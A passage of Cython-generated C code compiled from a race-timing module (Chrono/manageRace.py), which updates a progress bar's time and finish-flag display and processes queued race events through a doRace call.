__Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_7) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_9}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_9}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":195 * "%s / %s - %%p%%"%( createTimeSeconds( curtime ), createTimeSeconds(self._duration) ) * ) * elif self._status == self.cmdEndTime: # <<<<<<<<<<<<<< * Globals.MainWindow.PB_TimeRace.setFormat( * "Time finished: %s, Laps %d/%d - %%p%%"%( createTimeSeconds( curtime ), self.remain_lap, self._laps ) */ goto __pyx_L3; } /* "Chrono/manageRace.py":199 * "Time finished: %s, Laps %d/%d - %%p%%"%( createTimeSeconds( curtime ), self.remain_lap, self._laps ) * ) * elif self._status == self.cmdFinish: # <<<<<<<<<<<<<< * Globals.MainWindow.PB_TimeRace.setFormat( * "Finish Flag: %s - %%p%%"%( createTimeSeconds( curtime ) ) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_status_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmdFinish); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = PyObject_RichCompare(__pyx_t_1, __pyx_t_2, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (__pyx_t_4) { /* "Chrono/manageRace.py":200 * ) * elif self._status == self.cmdFinish: * Globals.MainWindow.PB_TimeRace.setFormat( # <<<<<<<<<<<<<< * "Finish Flag: %s - %%p%%"%( createTimeSeconds( curtime ) ) * ) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setFormat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":201 * elif self._status == self.cmdFinish: * Globals.MainWindow.PB_TimeRace.setFormat( * "Finish Flag: %s - %%p%%"%( createTimeSeconds( curtime ) ) # <<<<<<<<<<<<<< * ) * */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_createTimeSeconds); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_7) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_v_curtime); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_v_curtime}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_v_curtime}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_INCREF(__pyx_v_curtime); __Pyx_GIVEREF(__pyx_v_curtime); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_v_curtime); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = PyUnicode_Format(__pyx_kp_u_Finish_Flag_s_p, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_2) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_9); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_5); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_5 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_5 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "Chrono/manageRace.py":199 * "Time finished: %s, Laps %d/%d - %%p%%"%( createTimeSeconds( curtime ), self.remain_lap, self._laps ) * ) * elif self._status == self.cmdFinish: # <<<<<<<<<<<<<< * Globals.MainWindow.PB_TimeRace.setFormat( * "Finish Flag: %s - %%p%%"%( createTimeSeconds( curtime ) ) */ } __pyx_L3:; /* "Chrono/manageRace.py":204 * ) * * Globals.MainWindow.PB_TimeRace.setProperty("value", curtime ) # <<<<<<<<<<<<<< * for task in receiver: * r = receiver[task] */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setProperty); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; __pyx_t_10 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_10 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_n_u_value, __pyx_v_curtime}; __pyx_t_5 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_10, 2+__pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_5); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_n_u_value, __pyx_v_curtime}; __pyx_t_5 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_10, 2+__pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_5); } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_10); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_n_u_value); __Pyx_GIVEREF(__pyx_n_u_value); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_10, __pyx_n_u_value); __Pyx_INCREF(__pyx_v_curtime); __Pyx_GIVEREF(__pyx_v_curtime); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_10, __pyx_v_curtime); __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_9, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "Chrono/manageRace.py":205 * * Globals.MainWindow.PB_TimeRace.setProperty("value", curtime ) * for task in receiver: # <<<<<<<<<<<<<< * r = receiver[task] * q = r['queue']['race'] */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_receiver); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (likely(PyList_CheckExact(__pyx_t_5)) || PyTuple_CheckExact(__pyx_t_5)) { __pyx_t_3 = __pyx_t_5; __Pyx_INCREF(__pyx_t_3); __pyx_t_11 = 0; __pyx_t_12 = NULL; } else { __pyx_t_11 = -1; __pyx_t_3 = PyObject_GetIter(__pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_12 = Py_TYPE(__pyx_t_3)->tp_iternext; if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 205, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; for (;;) { if (likely(!__pyx_t_12)) { if (likely(PyList_CheckExact(__pyx_t_3))) { if (__pyx_t_11 >= PyList_GET_SIZE(__pyx_t_3)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_5 = PyList_GET_ITEM(__pyx_t_3, __pyx_t_11); __Pyx_INCREF(__pyx_t_5); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 205, __pyx_L1_error) #else __pyx_t_5 = PySequence_ITEM(__pyx_t_3, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); #endif } else { if (__pyx_t_11 >= PyTuple_GET_SIZE(__pyx_t_3)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_5 = PyTuple_GET_ITEM(__pyx_t_3, __pyx_t_11); __Pyx_INCREF(__pyx_t_5); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 205, __pyx_L1_error) #else __pyx_t_5 = PySequence_ITEM(__pyx_t_3, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); #endif } } else { __pyx_t_5 = __pyx_t_12(__pyx_t_3); if (unlikely(!__pyx_t_5)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 205, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_5); } __Pyx_XDECREF_SET(__pyx_v_task, __pyx_t_5); __pyx_t_5 = 0; /* "Chrono/manageRace.py":206 * Globals.MainWindow.PB_TimeRace.setProperty("value", curtime ) * for task in receiver: * r = receiver[task] # <<<<<<<<<<<<<< * q = r['queue']['race'] * while not q.empty(): */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_receiver); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_9 = PyObject_GetItem(__pyx_t_5, __pyx_v_task); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF_SET(__pyx_v_r, __pyx_t_9); __pyx_t_9 = 0; /* "Chrono/manageRace.py":207 * for task in receiver: * r = receiver[task] * q = r['queue']['race'] # <<<<<<<<<<<<<< * while not q.empty(): * e = q.get_nowait() */ __pyx_t_9 = PyObject_GetItem(__pyx_v_r, __pyx_n_u_queue); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_5 = PyObject_GetItem(__pyx_t_9, __pyx_n_u_race); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF_SET(__pyx_v_q, __pyx_t_5); __pyx_t_5 = 0; /* "Chrono/manageRace.py":208 * r = receiver[task] * q = r['queue']['race'] * while not q.empty(): # <<<<<<<<<<<<<< * e = q.get_nowait() * tp = e.tp */ while (1) { __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_q, __pyx_n_s_empty); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_1) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_5 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 208, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_13 = ((!__pyx_t_4) != 0); if (!__pyx_t_13) break; /* "Chrono/manageRace.py":209 * q = r['queue']['race'] * while not q.empty(): * e = q.get_nowait() # <<<<<<<<<<<<<< * tp = e.tp * millis = e.millis */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_q, __pyx_n_s_get_nowait); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_1) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_5 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 209, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF_SET(__pyx_v_e, __pyx_t_5); __pyx_t_5 = 0; /* "Chrono/manageRace.py":210 * while not q.empty(): * e = q.get_nowait() * tp = e.tp # <<<<<<<<<<<<<< * millis = e.millis * type = e.type */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_e, __pyx_n_s_tp); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_XDECREF_SET(__pyx_v_tp, __pyx_t_5); __pyx_t_5 = 0; /* "Chrono/manageRace.py":211 * e = q.get_nowait() * tp = e.tp * millis = e.millis # <<<<<<<<<<<<<< * type = e.type * try: */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_e, __pyx_n_s_millis); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_XDECREF_SET(__pyx_v_millis, __pyx_t_5); __pyx_t_5 = 0; /* "Chrono/manageRace.py":212 * tp = e.tp * millis = e.millis * type = e.type # <<<<<<<<<<<<<< * try: * self.doRace( tp, millis, type) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_e, __pyx_n_s_type); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_XDECREF_SET(__pyx_v_type, __pyx_t_5); __pyx_t_5 = 0; /* "Chrono/manageRace.py":213 * millis = e.millis * type = e.type * try: # <<<<<<<<<<<<<< * self.doRace( tp, millis, type) * except Exception as e: */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_14, &__pyx_t_15, &__pyx_t_16); __Pyx_XGOTREF(__pyx_t_14); __Pyx_XGOTREF(__pyx_t_15); __Pyx_XGOTREF(__pyx_t_16); /*try:*/ { /* "Chrono/manageRace.py":214 * type = e.type * try: * self.doRace( tp, millis, type) # <<<<<<<<<<<<<< * except Exception as e: * print("in manageRace.update") */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_doRace); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 214, __pyx_L8_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = NULL; __pyx_t_10 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); __pyx_t_10 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_v_tp, __pyx_v_millis, __pyx_v_type}; __pyx_t_5 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_10, 3+__pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 214, __pyx_L8_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_5); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_v_tp, __pyx_v_millis, __pyx_v_type}; __pyx_t_5 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_10, 3+__pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 214, __pyx_L8_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_5); } else #endif { __pyx_t_2 = PyTuple_New(3+__pyx_t_10); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 214, __pyx_L8_error) __Pyx_GOTREF(__pyx_t_2); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_v_tp); __Pyx_GIVEREF(__pyx_v_tp); PyTuple_SET_ITEM(__pyx_t_2, 0+__pyx_t_10, __pyx_v_tp); __Pyx_INCREF(__pyx_v_millis); __Pyx_GIVEREF(__pyx_v_millis); PyTuple_SET_ITEM(__pyx_t_2, 1+__pyx_t_10, __pyx_v_millis); __Pyx_INCREF(__pyx_v_type); __Pyx_GIVEREF(__pyx_v_type); PyTuple_SET_ITEM(__pyx_t_2, 2+__pyx_t_10, __pyx_v_type); __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_2, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 214, __pyx_L8_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "Chrono/manageRace.py":213 * millis = e.millis * type = e.type * try: # <<<<<<<<<<<<<< * self.doRace( tp, millis, type) * except Exception as e: */ } __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; goto __pyx_L15_try_end; __pyx_L8_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; /* "Chrono/manageRace.py":215 * try: * self.doRace( tp, millis, type) * except Exception as e: # <<<<<<<<<<<<<< * print("in manageRace.update") * print( e ) */ __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_10) { __Pyx_AddTraceback("Chrono.manageRace.manageRace.update", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_9, &__pyx_t_2) < 0) __PYX_ERR(0, 215, __pyx_L10_except_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GOTREF(__pyx_t_9); __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_t_9); __Pyx_DECREF_SET(__pyx_v_e, __pyx_t_9); /*try:*/ { /* "Chrono/manageRace.py":216 * self.doRace( tp, millis, type) * except Exception as e: * print("in manageRace.update") # <<<<<<<<<<<<<< * print( e ) * */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_print, 